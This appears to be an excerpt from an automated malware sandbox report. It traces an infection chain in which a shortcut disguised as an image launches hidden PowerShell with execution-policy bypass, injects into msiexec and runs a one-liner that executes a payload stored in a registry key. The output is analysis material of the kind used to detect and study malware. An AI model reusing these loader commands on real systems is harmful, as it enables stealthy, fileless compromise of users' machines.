cmd.exepowershell.exemsiexec.exedescription pid process target process PID 1480 wrote to memory of 3492 1480 cmd.exe powershell.exe PID 1480 wrote to memory of 3492 1480 cmd.exe powershell.exe PID 3492 wrote to memory of 4724 3492 powershell.exe msiexec.exe PID 3492 wrote to memory of 4724 3492 powershell.exe msiexec.exe PID 4724 wrote to memory of 4740 4724 msiexec.exe powershell.exe PID 4724 wrote to memory of 4740 4724 msiexec.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Scan_314.jpg.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -file 1204.ps12⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3492 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='1124';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4740